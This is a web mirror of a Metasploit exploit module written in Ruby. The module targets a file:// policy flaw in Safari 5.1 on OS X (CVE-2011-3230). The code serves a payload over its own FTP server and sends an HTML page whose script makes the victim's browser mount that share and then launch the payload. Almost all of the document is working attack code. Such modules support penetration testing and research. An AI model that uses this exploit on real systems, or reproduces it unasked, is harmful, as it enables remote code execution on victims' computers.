Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/browser/safari_file_policy.rb
57261 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::FtpServer
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => "Apple Safari file:// Arbitrary Code Execution",
16
'Description' => %q{
17
This module exploits a vulnerability found in Apple Safari on OS X platform.
18
A policy issue in the handling of file:// URLs may allow arbitrary remote code
19
execution under the context of the user.
20
21
In order to trigger arbitrary remote code execution, the best way seems to
22
be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or
23
a file format that OS X might automount), and then execute it in /Volumes/[share].
24
If there's some kind of bug that leaks the victim machine's current username,
25
then it's also possible to execute the payload in /Users/[username]/Downloads/,
26
or else bruteforce your way to getting that information.
27
28
Please note that non-java payloads (*.sh extension) might get launched by
29
Xcode instead of executing it, in that case please try the Java ones instead.
30
},
31
'License' => MSF_LICENSE,
32
'Author' => [
33
'Aaron Sigel', # Initial discovery
34
'sinn3r', # Metasploit (also big thanks to HD, and bannedit)
35
],
36
'References' => [
37
[ 'CVE', '2011-3230' ],
38
[ 'OSVDB', '76389' ],
39
[ 'URL', 'http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html#comments' ],
40
[ 'URL', 'http://support.apple.com/kb/HT5000' ]
41
],
42
'Payload' => {
43
'BadChars' => "",
44
},
45
'DefaultOptions' => {
46
'EXITFUNC' => "none",
47
},
48
'Platform' => %w{java osx unix},
49
'Arch' => [ ARCH_CMD, ARCH_JAVA ],
50
'Targets' => [
51
[ 'Safari 5.1 on OS X', {} ],
52
[ 'Safari 5.1 on OS X with Java', {} ]
53
],
54
'Privileged' => true,
55
'DisclosureDate' => '2011-10-12', # Blog date
56
'DefaultTarget' => 0,
57
'Notes' => {
58
'Reliability' => UNKNOWN_RELIABILITY,
59
'Stability' => UNKNOWN_STABILITY,
60
'SideEffects' => UNKNOWN_SIDE_EFFECTS
61
}
62
)
63
)
64
65
register_options(
66
[
67
OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
68
OptPort.new('SRVPORT', [true, "The local port to use for the FTP server (Do not change)", 21 ]),
69
OptPort.new('HTTPPORT', [true, "The HTTP server port", 80])
70
]
71
)
72
end
73
74
#
75
# Start the FTP aand HTTP server
76
#
77
def exploit
78
# The correct extension name is necessary because that's how the LauncherServices
79
# determines how to open the file.
80
ext = (target.name =~ /java/i) ? '.jar' : '.sh'
81
@payload_name = Rex::Text.rand_text_alpha(4 + rand(16)) + ext
82
83
# Start the FTP server
84
start_service()
85
print_status("Local FTP: #{bindhost}:#{bindport}")
86
87
# Create our own HTTP server
88
# We will stay in this functino until we manually terminate execution
89
start_http()
90
end
91
92
#
93
# Override the client connection method and
94
# initialize our payload
95
#
96
def on_client_connect(c)
97
r = super(c)
98
@state[c][:payload] = regenerate_payload(c).encoded
99
r
100
end
101
102
#
103
# Handle FTP LIST request (send back the directory listing)
104
#
105
def on_client_command_list(c, arg)
106
conn = establish_data_connection(c)
107
if not conn
108
c.put("425 Can't build data connection\r\n")
109
return
110
end
111
112
print_status("Data connection setup")
113
c.put("150 Here comes the directory listing\r\n")
114
115
print_status("Sending directory list via data connection")
116
month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
117
m = month_names[Time.now.month - 1]
118
d = Time.now.day
119
y = Time.now.year
120
121
dir = "-rwxr-xr-x 1 ftp ftp #{@state[c][:payload].length.to_s} #{m} #{d} #{y} #{@payload_name}\r\n"
122
conn.put(dir)
123
conn.close
124
125
print_status("Directory sent ok")
126
c.put("226 Transfer ok\r\n")
127
128
return
129
end
130
131
#
132
# Handle the FTP RETR request. This is where we transfer our actual malicious payload
133
#
134
def on_client_command_retr(c, arg)
135
conn = establish_data_connection(c)
136
if not conn
137
c.put("425 can't build data connection\r\n")
138
return
139
end
140
141
print_status("Connection for file transfer accepted")
142
c.put("150 Connection accepted\r\n")
143
144
# Send out payload
145
conn.put(@state[c][:payload])
146
conn.close
147
return
148
end
149
150
#
151
# Handle the HTTP request and return a response. Code borrorwed from:
152
# msf/core/exploit/http/server.rb
153
#
154
def start_http(opts = {})
155
# Ensure all dependencies are present before initializing HTTP
156
use_zlib
157
158
comm = datastore['ListenerComm']
159
if (comm.to_s == "local")
160
comm = ::Rex::Socket::Comm::Local
161
else
162
comm = nil
163
end
164
165
# Default the server host / port
166
opts = {
167
'ServerHost' => srvhost,
168
'ServerPort' => datastore['HTTPPORT'],
169
'Comm' => comm
170
}.update(opts)
171
172
# Start a new HTTP server
173
@http_service = Rex::ServiceManager.start(
174
Rex::Proto::Http::Server,
175
opts['ServerPort'].to_i,
176
opts['ServerHost'],
177
datastore['SSL'],
178
{
179
'Msf' => framework,
180
'MsfExploit' => self,
181
},
182
opts['Comm'],
183
datastore['SSLCert']
184
)
185
186
@http_service.server_name = datastore['HTTP::server_name']
187
188
# Default the procedure of the URI to on_request_uri if one isn't
189
# provided.
190
uopts = {
191
'Proc' => Proc.new { |cli, req|
192
on_request_uri(cli, req)
193
},
194
'Path' => resource_uri
195
}.update(opts['Uri'] || {})
196
197
proto = (datastore["SSL"] ? "https" : "http")
198
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
199
200
if (opts['ServerHost'] == '0.0.0.0')
201
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
202
end
203
204
# Add path to resource
205
@service_path = uopts['Path']
206
@http_service.add_resource(uopts['Path'], uopts)
207
208
# As long as we have the http_service object, we will keep the ftp server alive
209
while @http_service
210
select(nil, nil, nil, 1)
211
end
212
end
213
214
#
215
# Kill HTTP/FTP (shut them down and clear resources)
216
#
217
def cleanup
218
super
219
220
# clear my resource, deregister ref, stop/close the HTTP socket
221
begin
222
@http_service.remove_resource(datastore['URIPATH'])
223
@http_service.deref
224
@http_service = nil
225
rescue
226
end
227
end
228
229
#
230
# Ensures that gzip can be used. If not, an exception is generated. The
231
# exception is only raised if the DisableGzip advanced option has not been
232
# set.
233
#
234
def use_zlib
235
if !Rex::Text.zlib_present? && datastore['HTTP::compression']
236
fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
237
end
238
end
239
240
#
241
# Returns the configured (or random, if not configured) URI path
242
#
243
def resource_uri
244
path = datastore['URIPATH'] || rand_text_alphanumeric(8 + rand(8))
245
path = '/' + path if path !~ /^\//
246
datastore['URIPATH'] = path
247
return path
248
end
249
250
#
251
# Handle HTTP requets and responses
252
#
253
def on_request_uri(cli, request)
254
agent = request.headers['User-Agent']
255
256
if agent !~ /Macintosh; Intel Mac OS X/ or agent !~ /Version\/5\.\d Safari\/(\d+)\.(\d+)/
257
print_error("Unsupported target: #{agent}")
258
send_response(cli, 404, "Not Found", "<h1>404 - Not Found</h1>")
259
return
260
end
261
262
html = <<-HTML
263
<html>
264
<head>
265
<base href="file://">
266
<script>
267
function launch() {
268
document.location = "/Volumes/#{srvhost_addr}/#{@payload_name}";
269
}
270
271
function share() {
272
document.location = "ftp://anonymous:anonymous@#{srvhost_addr}/";
273
setTimeout("launch()", 2000);
274
}
275
276
share();
277
</script>
278
</head>
279
<body>
280
</body>
281
</html>
282
HTML
283
284
send_response(cli, 200, 'OK', html)
285
end
286
287
#
288
# Create an HTTP response and then send it
289
#
290
def send_response(cli, code, message = 'OK', html = '')
291
proto = Rex::Proto::Http::DefaultProtocol
292
res = Rex::Proto::Http::Response.new(code, message, proto)
293
res['Content-Type'] = 'text/html'
294
res.body = html
295
296
cli.send_response(res)
297
end
298
end
299
300
=begin
301
- Need to find a suitable payload that can be executed without warning.
302
Certain executables cannot be executed due to permission issues. A jar file doesn't have this
303
problem, but we still get a "Are you sure?" warning before it can be executed.
304
- Allow user-specified port to automount the share
305
- Allow ftp USERNAME/PASSWORD (optional)
306
=end
307
308